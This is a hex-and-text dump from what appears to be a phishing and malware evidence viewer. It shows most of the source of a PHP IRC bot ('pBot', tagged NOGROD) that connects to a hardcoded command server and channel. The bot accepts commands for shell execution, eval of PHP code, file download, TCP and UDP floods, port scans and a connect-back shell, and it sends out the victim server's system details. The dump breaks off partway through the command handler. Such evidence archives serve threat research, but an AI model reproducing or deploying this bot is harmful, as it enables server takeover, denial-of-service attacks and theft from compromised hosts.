CLEAN MX realtime database
safe Phish viewer

hex view of evidence ...
0: 3C3F0D0A0D0A0D0A0D0A2F2A0D0A0D0A2A0D0A0D0A2A20204E4F47524F442E20          <? /* * * NOGROD.
32: 73696E636520323030380D0A0D0A2A20204952432E5544504C494E4B2E4E4554          since 2  8 * IRC.UDPLINK.NET
64: 0D0A0D0A2A0D0A0D0A2A2020434F4D4D414E44533A0D0A0D0A2A0D0A0D0A2A20          * * COMMANDS: * *
96: 202E75736572203C70617373776F72643E202F2F6C6F67696E20746F20746865          .user <password> //login to the
128: 20626F740D0A0D0A2A20202E6C6F676F7574202F2F6C6F676F7574206F662074          bot * .logout //logout of t
160: 686520626F740D0A0D0A2A20202E646965202F2F6B696C6C2074686520626F74          he bot * .die //kill the bot
192: 0D0A0D0A2A20202E72657374617274202F2F726573746172742074686520626F          * .restart //restart the bo
224: 740D0A0D0A2A20202E6D61696C203C746F3E203C66726F6D3E203C7375626A65          t * .mail <to> <from> <subje
256: 63743E203C6D73673E202F2F73656E6420616E20656D61696C0D0A0D0A2A2020          ct> <msg> //send an email *
288: 2E646E73203C49507C484F53543E202F2F646E73206C6F6F6B75700D0A0D0A2A          .dns <IP|HOST> //dns lookup *
320: 20202E646F776E6C6F6164203C55524C3E203C66696C656E616D653E202F2F64          .download <URL> <filename> //d
352: 6F776E6C6F616420612066696C650D0A0D0A2A20202E65786563203C636D643E          ownload a file * .exec <cmd>
384: 202F2F207573657320657865632829202F2F65786563757465206120636F6D6D          // uses exec() //execute a comm
416: 616E640D0A0D0A2A20202E7365786563203C636D643E202F2F20757365732073          and * .sexec <cmd> // uses s
448: 68656C6C5F657865632829202F2F65786563757465206120636F6D6D616E640D          hell_exec() //execute a command
480: 0A0D0A2A20202E636D64203C636D643E202F2F207573657320706F70656E2829          * .cmd <cmd> // uses popen()
512: 202F2F65786563757465206120636F6D6D616E640D0A0D0A2A20202E696E666F          //execute a command * .info
544: 202F2F6765742073797374656D20696E666F726D6174696F6E0D0A0D0A2A2020          //get system information *
576: 2E706870203C70687020636F64653E202F2F2075736573206576616C2829202F          .php <php code> // uses eval() /
608: 2F657865637574652070687020636F64650D0A0D0A2A20202E746370666C6F6F          /execute php code * .tcpfloo
640: 64203C7461726765743E203C7061636B6574733E203C7061636B657473697A65          d <target> <packets> <packetsize
672: 3E203C706F72743E203C64656C61793E202F2F746370666C6F6F642061747461          > <port> <delay> //tcpflood atta
704: 636B0D0A0D0A2A20202E756470666C6F6F64203C7461726765743E203C706163          ck * .udpflood <target> <pac
736: 6B6574733E203C7061636B657473697A653E203C64656C61793E202F2F756470          kets> <packetsize> <delay> //udp
768: 666C6F6F642061747461636B0D0A0D0A2A20202E726177203C636D643E202F2F          flood attack * .raw <cmd> //
800: 7261772049524320636F6D6D616E640D0A0D0A2A20202E726E646E69636B202F          raw IRC command * .rndnick /
832: 2F6368616E6765206E69636B6E616D650D0A0D0A2A20202E707363616E203C68          /change nickname * .pscan <h
864: 6F73743E203C706F72743E202F2F706F7274207363616E0D0A0D0A2A20202E73          ost> <port> //port scan * .s
896: 61666520202F2F207465737420736166655F6D6F6465202864766C290D0A0D0A          afe // test safe_mode (dvl)
928: 2A20202E696E626F78203C746F3E202F2F207465737420696E626F7820286476          * .inbox <to> // test inbox (dv
960: 6C290D0A0D0A2A20202E636F6E6261636B203C69703E203C706F72743E202F2F          l) * .conback <ip> <port> //
992: 20636F6E656374206261636B202864766C290D0A0D0A2A20202E756E616D6520          conect back (dvl) * .uname
1024: 2F2F2072657475726E207368656C6C277320756E616D65207573696E67206120          // return shell's uname using a
1056: 7068702066756E6374696F6E202864766C290D0A0D0A2A0D0A0D0A2A2F0D0A0D          php function (dvl) * */
1088: 0A0D0A0D0A7365745F74696D655F6C696D69742830293B0D0A0D0A6572726F72          set_time_limit( ); error
1120: 5F7265706F7274696E672830293B0D0A0D0A6563686F2022426C61636B506F77          _reporting( ); echo "BlackPow
1152: 657221223B0D0A0D0A0D0A0D0A636C6173732070426F740D0A0D0A7B0D0A0D0A          er!"; class pBot {
1184: 7661722024636F6E666967203D2061727261792822736572766572223D3E226C          var $config = array("server"=>"l
1216: 6F616465722E6279726F652E6E6574222C0D0A0D0A2020202020202020202020          oader.byroe.net",
1248: 2020202020202020202022706F7274223D3E2236363637222C0D0A0D0A202020          "port"=>"6667",
1280: 2020202020202020202020202020202020202270617373223D3E226A616E636F          "pass"=>"janco
1312: 6B222C0D0A0D0A20202020202020202020202020202020202020202022707265          k", "pre
1344: 666978223D3E227C633064657C222C0D0A0D0A20202020202020202020202020          fix"=>"|c de|",
1376: 2020202020202020226D617872616E64223D3E2235222C0D0A0D0A2020202020          "maxrand"=>"5",
1408: 20202020202020202020202020202020226368616E223D3E22236E6F62306479          "chan"=>"#nob dy
1440: 222C0D0A0D0A202020202020202020202020202020202020202020226368616E          ", "chan
1472: 32223D3E22236E6F62306479222C0D0A0D0A2020202020202020202020202020          2"=>"#nob dy",
1504: 20202020202020226B6579223D3E22616D616B61222C0D0A0D0A202020202020          "key"=>"amaka",
1536: 202020202020202020202020202020226D6F646573223D3E222B70222C0D0A0D          "modes"=>"+p",
1568: 0A2020202020202020202020202020202020202020202270617373776F726422          "password"
1600: 3D3E226A616E636F6B222C0D0A0D0A2020202020202020202020202020202020          =>"jancok",
1632: 202020202274726967676572223D3E222E222C0D0A0D0A202020202020202020          "trigger"=>".",
1664: 20202020202020202020202022686F737461757468223D3E226E2E692E6E2E6A          "hostauth"=>"n.i.n.j
1696: 2E6122202F2F202A20666F7220616E7920686F73746E616D6520282072656D65          .a" // * for any hostname ( reme
1728: 6D6265723A202F73657476686F7374206C4167692E7365526975732E7343616E          mber: /setvhost lAgi.seRius.sCan
1760: 20290D0A0D0A202020202020202020202020202020202020202020293B0D0A0D          ) );
1792: 0A76617220247573657273203D20617272617928293B0D0A0D0A66756E637469          var $users = array(); functi
1824: 6F6E20737461727428290D0A0D0A7B0D0A0D0A20202020696628212824746869          on start() { if(!($thi
1856: 732D3E636F6E6E203D2066736F636B6F70656E2824746869732D3E636F6E6669          s->conn = fsockopen($this->confi
1888: 675B27736572766572275D2C24746869732D3E636F6E6669675B27706F727427          g['server'],$this->config['port'
1920: 5D2C24652C24732C33302929290D0A0D0A2020202020202024746869732D3E73          ],$e,$s,3 ))) $this->s
1952: 7461727428293B0D0A0D0A20202020246964656E74203D2024746869732D3E63          tart(); $ident = $this->c
1984: 6F6E6669675B27707265666978275D3B0D0A0D0A2020202024616C7068203D20          onfig['prefix']; $alph =
2016: 72616E6765282230222C2231303022293B0D0A0D0A20202020666F722824693D          range(" ","1  "); for($i=
2048: 303B24693C24746869732D3E636F6E6669675B276D617872616E64275D3B2469           ;$i<$this->config['maxrand'];$i
2080: 2B2B290D0A0D0A20202020202020246964656E74202E3D2024616C70685B7261          ++) $ident .= $alph[ra
2112: 6E6428302C313030295D3B0D0A0D0A202020206966287374726C656E28247468          nd( ,1  )]; if(strlen($th
2144: 69732D3E636F6E6669675B2770617373275D293E30290D0A0D0A202020202020          is->config['pass'])> )
2176: 2024746869732D3E73656E6428225041535320222E24746869732D3E636F6E66          $this->send("PASS ".$this->conf
2208: 69675B2770617373275D293B0D0A0D0A2020202024746869732D3E73656E6428          ig['pass']); $this->send(
2240: 225553455220222E246964656E742E22203132372E302E302E31206C6F63616C          "USER ".$ident." 127. . .1 local
2272: 686F7374203A222E7068705F756E616D6528292E2222293B0D0A0D0A20202020          host :".php_uname()."");
2304: 24746869732D3E7365745F6E69636B28293B0D0A0D0A2020202024746869732D          $this->set_nick(); $this-
2336: 3E6D61696E28293B0D0A0D0A7D0D0A0D0A66756E6374696F6E206D61696E2829          >main(); } function main()
2368: 0D0A0D0A7B0D0A0D0A202020207768696C65282166656F662824746869732D3E          { while(!feof($this->
2400: 636F6E6E29290D0A0D0A202020207B0D0A0D0A2020202020202024746869732D          conn)) { $this-
2432: 3E627566203D207472696D2866676574732824746869732D3E636F6E6E2C3531          >buf = trim(fgets($this->conn,51
2464: 3229293B0D0A0D0A2020202020202024636D64203D206578706C6F6465282220          2)); $cmd = explode("
2496: 222C24746869732D3E627566293B0D0A0D0A2020202020202069662873756273          ",$this->buf); if(subs
2528: 74722824746869732D3E6275662C302C36293D3D2250494E47203A22290D0A0D          tr($this->buf, ,6)=="PING :")
2560: 0A202020202020207B0D0A0D0A2020202020202020202024746869732D3E7365          { $this->se
2592: 6E642822504F4E47203A222E7375627374722824746869732D3E6275662C3629          nd("PONG :".substr($this->buf,6)
2624: 293B0D0A0D0A202020202020207D0D0A0D0A2020202020202069662869737365          ); } if(isse
2656: 742824636D645B315D292026262024636D645B315D203D3D2230303122290D0A          t($cmd[1]) && $cmd[1] =="  1")
2688: 0D0A202020202020207B0D0A0D0A2020202020202020202024746869732D3E73          { $this->s
2720: 656E6428224D4F444520222E24746869732D3E6E69636B2E2220222E24746869          end("MODE ".$this->nick." ".$thi
2752: 732D3E636F6E6669675B276D6F646573275D293B0D0A0D0A2020202020202020          s->config['modes']);
2784: 202024746869732D3E6A6F696E2824746869732D3E636F6E6669675B27636861          $this->join($this->config['cha
2816: 6E275D2C24746869732D3E636F6E6669675B276B6579275D293B0D0A0D0A2020          n'],$this->config['key']);
2848: 20202020202020206966202840696E695F6765742822736166655F6D6F646522          if (@ini_get("safe_mode"
2880: 29206F7220737472746F6C6F7765722840696E695F6765742822736166655F6D          ) or strtolower(@ini_get("safe_m
2912: 6F6465222929203D3D20226F6E2229207B2024736166656D6F6465203D20226F          ode")) == "on") { $safemode = "o
2944: 6E223B207D0D0A0D0A20202020202020202020656C7365207B2024736166656D          n"; } else { $safem
2976: 6F6465203D20226F6666223B207D0D0A0D0A2020202020202020202024756E61          ode = "off"; } $una
3008: 6D65203D207068705F756E616D6528293B0D0A0D0A2020202020202020202024          me = php_uname(); $
3040: 746869732D3E707269766D73672824746869732D3E636F6E6669675B27636861          this->privmsg($this->config['cha
3072: 6E32275D2C225B5C32756E616D65215C325D3A2024756E616D65202873616665          n2'],"[\2uname!\2]: $uname (safe
3104: 3A2024736166656D6F64652922293B0D0A0D0A20202020202020202020247468          : $safemode)"); $th
3136: 69732D3E707269766D73672824746869732D3E636F6E6669675B276368616E32          is->privmsg($this->config['chan2
3168: 275D2C225B5C3276756C6E215C325D3A200331324675636B696E205065726665          '],"[\2vuln!\2]: 12Fuckin Perfe
3200: 637422293B0D0A0D0A202020202020207D0D0A0D0A2020202020202069662869          ct"); } if(i
3232: 737365742824636D645B315D292026262024636D645B315D3D3D223433332229          sset($cmd[1]) && $cmd[1]=="433")
3264: 0D0A0D0A202020202020207B0D0A0D0A2020202020202020202024746869732D          { $this-
3296: 3E7365745F6E69636B28293B0D0A0D0A202020202020207D0D0A0D0A20202020          >set_nick(); }
3328: 20202069662824746869732D3E62756620213D20246F6C645F627566290D0A0D          if($this->buf != $old_buf)
3360: 0A202020202020207B0D0A0D0A20202020202020202020246D636D64203D2061          { $mcmd = a
3392: 7272617928293B0D0A0D0A20202020202020202020246D7367203D2073756273          rray(); $msg = subs
3424: 7472287374727374722824746869732D3E6275662C22203A22292C32293B0D0A          tr(strstr($this->buf," :"),2);
3456: 0D0A20202020202020202020246D7367636D64203D206578706C6F6465282220          $msgcmd = explode("
3488: 222C246D7367293B0D0A0D0A20202020202020202020246E69636B203D206578          ",$msg); $nick = ex
3520: 706C6F6465282221222C24636D645B305D293B0D0A0D0A202020202020202020          plode("!",$cmd[ ]);
3552: 202476686F7374203D206578706C6F6465282240222C246E69636B5B315D293B          $vhost = explode("@",$nick[1]);
3584: 0D0A0D0A202020202020202020202476686F7374203D202476686F73745B315D          $vhost = $vhost[1]
3616: 3B0D0A0D0A20202020202020202020246E69636B203D2073756273747228246E          ; $nick = substr($n
3648: 69636B5B305D2C31293B0D0A0D0A2020202020202020202024686F7374203D20          ick[ ],1); $host =
3680: 24636D645B305D3B0D0A0D0A20202020202020202020696628246D7367636D64          $cmd[ ]; if($msgcmd
3712: 5B305D3D3D24746869732D3E6E69636B290D0A0D0A202020202020202020207B          [ ]==$this->nick) {
3744: 0D0A0D0A2020202020202020202020666F722824693D303B24693C636F756E74          for($i= ;$i<count
3776: 28246D7367636D64293B24692B2B290D0A0D0A20202020202020202020202020          ($msgcmd);$i++)
3808: 20246D636D645B24695D203D20246D7367636D645B24692B315D3B0D0A0D0A20          $mcmd[$i] = $msgcmd[$i+1];
3840: 2020202020202020207D0D0A0D0A20202020202020202020656C73650D0A0D0A          } else
3872: 202020202020202020207B0D0A0D0A2020202020202020202020666F72282469          { for($i
3904: 3D303B24693C636F756E7428246D7367636D64293B24692B2B290D0A0D0A2020          = ;$i<count($msgcmd);$i++)
3936: 202020202020202020202020246D636D645B24695D203D20246D7367636D645B          $mcmd[$i] = $msgcmd[
3968: 24695D3B0D0A0D0A202020202020202020207D0D0A0D0A202020202020202020          $i]; }
4000: 20696628636F756E742824636D64293E32290D0A0D0A20202020202020202020          if(count($cmd)>2)
4032: 7B0D0A0D0A202020202020202020202020207377697463682824636D645B315D          { switch($cmd[1]
4064: 290D0A0D0A202020202020202020202020207B0D0A0D0A202020202020202020          ) {
4096: 2020202020202063617365202251554954223A0D0A0D0A202020202020202020          case "QUIT":
4128: 2020202020202020202069662824746869732D3E69735F6C6F676765645F696E          if($this->is_logged_in
4160: 2824686F737429290D0A0D0A202020202020202020202020202020202020207B          ($host)) {
4192: 0D0A0D0A2020202020202020202020202020202020202020202024746869732D          $this-
4224: 3E6C6F675F6F75742824686F7374293B0D0A0D0A202020202020202020202020          >log_out($host);
4256: 202020202020207D0D0A0D0A2020202020202020202020202020202062726561          } brea
4288: 6B3B0D0A0D0A2020202020202020202020202020202063617365202250415254          k; case "PART
4320: 223A0D0A0D0A2020202020202020202020202020202020202069662824746869          ": if($thi
4352: 732D3E69735F6C6F676765645F696E2824686F737429290D0A0D0A2020202020          s->is_logged_in($host))
4384: 20202020202020202020202020207B0D0A0D0A20202020202020202020202020          {
4416: 20202020202020202024746869732D3E6C6F675F6F75742824686F7374293B0D          $this->log_out($host);
4448: 0A0D0A202020202020202020202020202020202020207D0D0A0D0A2020202020          }
4480: 2020202020202020202020627265616B3B0D0A0D0A2020202020202020202020          break;
4512: 2020202020636173652022505249564D5347223A0D0A0D0A2020202020202020          case "PRIVMSG":
4544: 20202020202020202020206966282124746869732D3E69735F6C6F676765645F          if(!$this->is_logged_
4576: 696E2824686F73742920262620282476686F7374203D3D2024746869732D3E63          in($host) && ($vhost == $this->c
4608: 6F6E6669675B27686F737461757468275D207C7C2024746869732D3E636F6E66          onfig['hostauth'] || $this->conf
4640: 69675B27686F737461757468275D203D3D20222A2229290D0A0D0A2020202020          ig['hostauth'] == "*"))
4672: 20202020202020202020202020207B0D0A0D0A20202020202020202020202020          {
4704: 20202020202020202069662873756273747228246D636D645B305D2C302C3129          if(substr($mcmd[ ], ,1)
4736: 3D3D222E22290D0A0D0A20202020202020202020202020202020202020202020          ==".")
4768: 7B0D0A0D0A202020202020202020202020202020202020202020202020207377          { sw
4800: 697463682873756273747228246D636D645B305D2C3129290D0A0D0A20202020          itch(substr($mcmd[ ],1))
4832: 2020202020202020202020202020202020202020207B0D0A0D0A202020202020          {
4864: 2020202020202020202020202020202020202020202063617365202275736572          case "user
4896: 223A0D0A0D0A2020202020202020202020202020202020202020202020202020          ":
4928: 20202020696628246D636D645B315D3D3D24746869732D3E636F6E6669675B27          if($mcmd[1]==$this->config['
4960: 70617373776F7264275D290D0A0D0A2020202020202020202020202020202020          password'])
4992: 202020202020202020202020207B0D0A0D0A2020202020202020202020202020          {
5024: 2020202020202020202020202020202020202024746869732D3E6C6F675F696E          $this->log_in
5056: 2824686F7374293B0D0A0D0A2020202020202020202020202020202020202020          ($host);
5088: 202020202020202020207D0D0A0D0A2020202020202020202020202020202020          }
5120: 20202020202020202020202020656C73650D0A0D0A2020202020202020202020          else
5152: 202020202020202020202020202020202020207B0D0A0D0A2020202020202020          {
5184: 2020202020202020202020202020202020202020202020202024746869732D3E          $this->
5216: 6E6F746963652824746869732D3E636F6E6669675B276368616E275D2C225B5C          notice($this->config['chan'],"[\
5248: 32417574685C325D3A2053656E68612065727261646120246E69636B20696469          2Auth\2]: Senha errada $nick idi
5280: 6F7461212122293B0D0A0D0A2020202020202020202020202020202020202020          ota!!");
5312: 202020202020202020207D0D0A0D0A2020202020202020202020202020202020          }
5344: 2020202020202020202020627265616B3B0D0A0D0A2020202020202020202020          break;
5376: 20202020202020202020202020207D0D0A0D0A20202020202020202020202020          }
5408: 2020202020202020207D0D0A0D0A202020202020202020202020202020202020          }
5440: 207D0D0A0D0A20202020202020202020202020202020202020656C7365696628          } elseif(
5472: 24746869732D3E69735F6C6F676765645F696E2824686F737429290D0A0D0A20          $this->is_logged_in($host))
5504: 2020202020202020202020202020202020207B0D0A0D0A202020202020202020          {
5536: 2020202020202020202020202069662873756273747228246D636D645B305D2C          if(substr($mcmd[ ],
5568: 302C31293D3D222E22290D0A0D0A202020202020202020202020202020202020           ,1)==".")
5600: 202020207B0D0A0D0A2020202020202020202020202020202020202020202020          {
5632: 20207377697463682873756273747228246D636D645B305D2C3129290D0A0D0A          switch(substr($mcmd[ ],1))
5664: 202020202020202020202020202020202020202020202020207B0D0A0D0A2020          {
5696: 2020202020202020202020202020202020202020202020202020636173652022          case "
5728: 72657374617274223A0D0A0D0A20202020202020202020202020202020202020          restart":
5760: 20202020202020202020202024746869732D3E73656E64282251554954203A72          $this->send("QUIT :r
5792: 65737461727420636F6D6D616E646F2066726F6D20246E69636B22293B0D0A0D          estart commando from $nick");
5824: 0A20202020202020202020202020202020202020202020202020202020202020         
5856: 66636C6F73652824746869732D3E636F6E6E293B0D0A0D0A2020202020202020          fclose($this->conn);
5888: 202020202020202020202020202020202020202020202024746869732D3E7374          $this->st
5920: 61727428293B0D0A0D0A20202020202020202020202020202020202020202020          art();
5952: 202020202020627265616B3B0D0A0D0A20202020202020202020202020202020          break;
5984: 2020202020202020202020206361736520226D61696C223A202F2F6D61696C20          case "mail": //mail
6016: 746F2066726F6D207375626A656374206D6573736167650D0A0D0A2020202020          to from subject message
6048: 2020202020202020202020202020202020202020202020202020696628636F75          if(cou
6080: 6E7428246D636D64293E34290D0A0D0A20202020202020202020202020202020          nt($mcmd)>4)
6112: 2020202020202020202020202020207B0D0A0D0A202020202020202020202020          {
6144: 2020202020202020202020202020202020202020202024686561646572203D20          $header =
6176: 2246726F6D3A203C222E246D636D645B325D2E223E223B0D0A0D0A2020202020          "From: <".$mcmd[2].">";
6208: 2020202020202020202020202020202020202020202020202020202020696628          if(
6240: 216D61696C28246D636D645B315D2C246D636D645B335D2C7374727374722824          !mail($mcmd[1],$mcmd[3],strstr($
6272: 6D73672C246D636D645B345D292C2468656164657229290D0A0D0A2020202020          msg,$mcmd[4]),$header))
6304: 20202020202020202020202020202020202020202020202020202020207B0D0A          {
6336: 0D0A202020202020202020202020202020202020202020202020202020202020         
6368: 2020202020202024746869732D3E707269766D73672824746869732D3E636F6E          $this->privmsg($this->con
6400: 6669675B276368616E275D2C225B5C326D61696C5C325D3A20496D706F737369          fig['chan'],"[\2mail\2]: Impossi
6432: 76656C206D616E64617220652D6D61696C2E22293B0D0A0D0A20202020202020          vel mandar e-mail.");
6464: 2020202020202020202020202020202020202020202020202020207D0D0A0D0A          }
6496: 2020202020202020202020202020202020202020202020202020202020202020         
6528: 2020656C73650D0A0D0A20202020202020202020202020202020202020202020          else
6560: 2020202020202020202020207B0D0A0D0A202020202020202020202020202020          {
6592: 2020202020202020202020202020202020202020202024746869732D3E707269          $this->pri
6624: 766D73672824746869732D3E636F6E6669675B276368616E275D2C225B5C326D          vmsg($this->config['chan'],"[\2m
6656: 61696C5C325D3A204D656E736167656D20656E76696164612070617261205C32          ail\2]: Mensagem enviada para \2
6688: 222E246D636D645B315D2E225C3222293B0D0A0D0A2020202020202020202020          ".$mcmd[1]."\2");
6720: 20202020202020202020202020202020202020202020207D0D0A0D0A20202020          }
6752: 2020202020202020202020202020202020202020202020202020207D0D0A0D0A          }
6784: 2020202020202020202020202020202020202020202020202020202062726561          brea
6816: 6B3B0D0A0D0A2020202020202020202020202020202020202020202020202020          k;
6848: 202063617365202273616665223A0D0A0D0A2020202020202020202020202020          case "safe":
6880: 20202020202020202020202020202020206966202840696E695F676574282273          if (@ini_get("s
6912: 6166655F6D6F64652229206F7220737472746F6C6F7765722840696E695F6765          afe_mode") or strtolower(@ini_ge
6944: 742822736166655F6D6F6465222929203D3D20226F6E22290D0A0D0A20202020          t("safe_mode")) == "on")
6976: 2020202020202020202020202020202020202020202020202020207B0D0A0D0A          {
7008: 2020202020202020202020202020202020202020202020202020202020202024          $
7040: 736166656D6F6465203D20226F6E223B0D0A0D0A202020202020202020202020          safemode = "on";
7072: 202020202020202020202020202020202020207D0D0A0D0A2020202020202020          }
7104: 2020202020202020202020202020202020202020202020656C7365207B0D0A0D          else {
7136: 0A20202020202020202020202020202020202020202020202020202020202020         
7168: 24736166656D6F6465203D20226F6666223B0D0A0D0A20202020202020202020          $safemode = "off";
7200: 2020202020202020202020202020202020202020207D0D0A0D0A202020202020          }
7232: 2020202020202020202020202020202020202020202020202024746869732D3E          $this->
7264: 707269766D73672824746869732D3E636F6E6669675B276368616E275D2C225B          privmsg($this->config['chan'],"[
7296: 5C3273616665206D6F64655C325D3A20222E24736166656D6F64652E2222293B          \2safe mode\2]: ".$safemode."");
7328: 0D0A0D0A20202020202020202020202020202020202020202020202020202020         
7360: 627265616B3B0D0A0D0A20202020202020202020202020202020202020202020          break;
7392: 202020202020636173652022696E626F78223A202F2F746573746520696E626F          case "inbox": //teste inbo
7424: 780D0A0D0A202020202020202020202020202020202020202020202020202020          x
7456: 20202020696628697373657428246D636D645B315D29290D0A0D0A2020202020          if(isset($mcmd[1]))
7488: 20202020202020202020202020202020202020202020202020207B0D0A0D0A20          {
7520: 2020202020202020202020202020202020202020202020202020202020202020         
7552: 2024746F6B656E203D206D643528756E697169642872616E6428292C20747275          $token = md5(uniqid(rand(), tru
7584: 6529293B0D0A0D0A202020202020202020202020202020202020202020202020          e));
7616: 2020202020202020202024686561646572203D202246726F6D3A203C696E626F          $header = "From: <inbo
7648: 78222E24746F6B656E2E224078646576696C2E6F72673E223B0D0A0D0A202020          x".$token."@xdevil.org>";
7680: 2020202020202020202020202020202020202020202020202020202020202024          $
7712: 61203D207068705F756E616D6528293B0D0A0D0A202020202020202020202020          a = php_uname();
7744: 202020202020202020202020202020202020202020202462203D20676574656E          $b = geten
7776: 7628225345525645525F534F46545741524522293B0D0A0D0A20202020202020          v("SERVER_SOFTWARE");
7808: 2020202020202020202020202020202020202020202020202020202463203D20          $c =
7840: 676574686F737462796E616D6528245F5345525645525B22485454505F484F53          gethostbyname($_SERVER["HTTP_HOS
7872: 54225D293B0D0A0D0A2020202020202020202020202020202020202020202020          T"]);
7904: 2020202020202020202020696628216D61696C28246D636D645B315D2C22496E          if(!mail($mcmd[1],"In
7936: 426F782054657374222C22236E6F67526F642E2073696E636520323030385C6E          Box Test","#nogRod. since 2  8\n
7968: 5C6E69703A202463205C6E736F6674776172653A202462205C6E73797374656D          \nip: $c \nsoftware: $b \nsystem
8000: 3A202461205C6E76756C6E3A20687474703A2F2F222E245F5345525645525B27          : $a \nvuln: http://".$_SERVER['
8032: 5345525645525F4E414D45275D2E225C6E5C6E67726565747A3A206972632E75          SERVER_NAME']."\n\ngreetz: irc.u
8064: 64706C696E6B2E6E65745C6E4E4F47524F44204F574E5A222C24686561646572          dplink.net\nNOGROD OWNZ",$header
8096: 29290D0A0D0A2020202020202020202020202020202020202020202020202020          ))
8128: 20202020202020207B0D0A0D0A20202020202020202020202020202020202020          {
8160: 20202020202020202020202020202020202024746869732D3E707269766D7367          $this->privmsg
8192: 2824746869732D3E636F6E6669675B276368616E275D2C225B5C32696E626F78          ($this->config['chan'],"[\2inbox
8224: 5C325D3A20556E61626C6520746F2073656E6422293B0D0A0D0A202020202020          \2]: Unable to send");
8256: 202020202020202020202020202020202020202020202020202020207D0D0A0D          }
8288: 0A20202020202020202020202020202020202020202020202020202020202020         
8320: 202020656C73650D0A0D0A202020202020202020202020202020202020202020          else
8352: 202020202020202020202020207B0D0A0D0A2020202020202020202020202020          {
8384: 202020202020202020202020202020202020202020202024746869732D3E7072          $this->pr
8416: 69766D73672824746869732D3E636F6E6669675B276368616E275D2C225B5C32          ivmsg($this->config['chan'],"[\2
8448: 696E626F785C325D3A204D6573736167652073656E7420746F205C32222E246D          inbox\2]: Message sent to \2".$m
8480: 636D645B315D2E225C3222293B0D0A0D0A202020202020202020202020202020          cmd[1]."\2");
8512: 202020202020202020202020202020202020207D0D0A0D0A2020202020202020          }
8544: 20202020202020202020202020202020202020202020207D0D0A0D0A20202020          }
8576: 202020202020202020202020202020202020202020202020627265616B3B0D0A          break;
8608: 0D0A202020202020202020202020202020202020202020202020202020206361          ca
8640: 73652022636F6E6261636B223A0D0A0D0A202020202020202020202020202020          se "conback":
8672: 20202020202020202020202020202020696628636F756E7428246D636D64293E          if(count($mcmd)>
8704: 32290D0A0D0A2020202020202020202020202020202020202020202020202020          2)
8736: 20202020207B0D0A0D0A20202020202020202020202020202020202020202020          {
8768: 20202020202020202020202024746869732D3E636F6E6261636B28246D636D64          $this->conback($mcmd
8800: 5B315D2C246D636D645B325D293B0D0A0D0A2020202020202020202020202020          [1],$mcmd[2]);
8832: 20202020202020202020202020202020207D0D0A0D0A20202020202020202020          }
8864: 202020202020202020202020202020202020627265616B3B0D0A0D0A20202020          break;
8896: 202020202020202020202020202020202020202020202020636173652022646E          case "dn
8928: 73223A0D0A0D0A20202020202020202020202020202020202020202020202020          s":
8960: 202020202020696628697373657428246D636D645B315D29290D0A0D0A202020          if(isset($mcmd[1]))
8992: 202020202020202020202020202020202020202020202020202020207B0D0A0D          {
9024: 0A20202020202020202020202020202020202020202020202020202020202020         
9056: 202020246970203D206578706C6F646528222E222C246D636D645B315D293B0D          $ip = explode(".",$mcmd[1]);
9088: 0A0D0A2020202020202020202020202020202020202020202020202020202020         
9120: 2020202020696628636F756E7428246970293D3D342026262069735F6E756D65          if(count($ip)==4 && is_nume
9152: 726963282469705B305D292026262069735F6E756D65726963282469705B315D          ric($ip[ ]) && is_numeric($ip[1]
9184: 292026262069735F6E756D65726963282469705B325D292026262069735F6E75          ) && is_numeric($ip[2]) && is_nu
9216: 6D65726963282469705B335D29290D0A0D0A2020202020202020202020202020          meric($ip[3]))
9248: 20202020202020202020202020202020202020207B0D0A0D0A20202020202020          {
9280: 2020202020202020202020202020202020202020202020202020202020202474          $t
9312: 6869732D3E707269766D73672824746869732D3E636F6E6669675B276368616E          his->privmsg($this->config['chan
9344: 275D2C225B5C32646E735C325D3A20222E246D636D645B315D2E22203D3E2022          '],"[\2dns\2]: ".$mcmd[1]." => "
9376: 2E676574686F737462796164647228246D636D645B315D29293B0D0A0D0A2020          .gethostbyaddr($mcmd[1]));
9408: 2020202020202020202020202020202020202020202020202020202020202020         
9440: 7D0D0A0D0A202020202020202020202020202020202020202020202020202020          }
9472: 20202020202020656C73650D0A0D0A2020202020202020202020202020202020          else
9504: 20202020202020202020202020202020207B0D0A0D0A20202020202020202020          {
9536: 2020202020202020202020202020202020202020202020202020202474686973          $this
9568: 2D3E707269766D73672824746869732D3E636F6E6669675B276368616E275D2C          ->privmsg($this->config['chan'],
9600: 225B5C32646E735C325D3A20222E246D636D645B315D2E22203D3E20222E6765          "[\2dns\2]: ".$mcmd[1]." => ".ge
9632: 74686F737462796E616D6528246D636D645B315D29293B0D0A0D0A2020202020          thostbyname($mcmd[1]));
9664: 20202020202020202020202020202020202020202020202020202020207D0D0A          }
9696: 0D0A202020202020202020202020202020202020202020202020202020202020         
9728: 207D0D0A0D0A2020202020202020202020202020202020202020202020202020          }
9760: 2020627265616B3B0D0A0D0A2020202020202020202020202020202020202020          break;
9792: 2020202020202020636173652022696E666F223A0D0A0D0A2020202020202020          case "info":
9824: 202020202020202020202020202020202020202063617365202276756E6C223A          case "vunl":
9856: 0D0A0D0A20202020202020202020202020202020202020202020202020202020         
9888: 2020206966202840696E695F6765742822736166655F6D6F64652229206F7220          if (@ini_get("safe_mode") or
9920: 737472746F6C6F7765722840696E695F6765742822736166655F6D6F64652229          strtolower(@ini_get("safe_mode")
9952: 29203D3D20226F6E2229207B2024736166656D6F6465203D20226F6E223B207D          ) == "on") { $safemode = "on"; }
9984: 0D0A0D0A20202020202020202020202020202020202020202020202020202020         
10016: 202020656C7365207B2024736166656D6F6465203D20226F6666223B207D0D0A          else { $safemode = "off"; }
10048: 0D0A202020202020202020202020202020202020202020202020202020202020         
10080: 2024756E616D65203D207068705F756E616D6528293B0D0A0D0A202020202020          $uname = php_uname();
10112: 2020202020202020202020202020202020202020202020202024746869732D3E          $this->
10144: 707269766D73672824746869732D3E636F6E6669675B276368616E275D2C225B          privmsg($this->config['chan'],"[
10176: 5C32696E666F5C325D3A2024756E616D652028736166653A2024736166656D6F          \2info\2]: $uname (safe: $safemo
10208: 64652922293B0D0A0D0A20202020202020202020202020202020202020202020          de)");
10240: 20202020202020202024746869732D3E707269766D73672824746869732D3E63          $this->privmsg($this->c
10272: 6F6E6669675B276368616E275D2C225B5C3276756C6E5C325D3A20687474703A          onfig['chan'],"[\2vuln\2]: http:
10304: 2F2F222E245F5345525645525B275345525645525F4E414D45275D2E22222E24          //".$_SERVER['SERVER_NAME']."".$
10336: 5F5345525645525B27524551554553545F555249275D2E2222293B0D0A0D0A20          _SERVER['REQUEST_URI']."");
10368: 202020202020202020202020202020202020202020202020202020627265616B          break
10400: 3B0D0A0D0A202020202020202020202020202020202020202020202020202020          ;
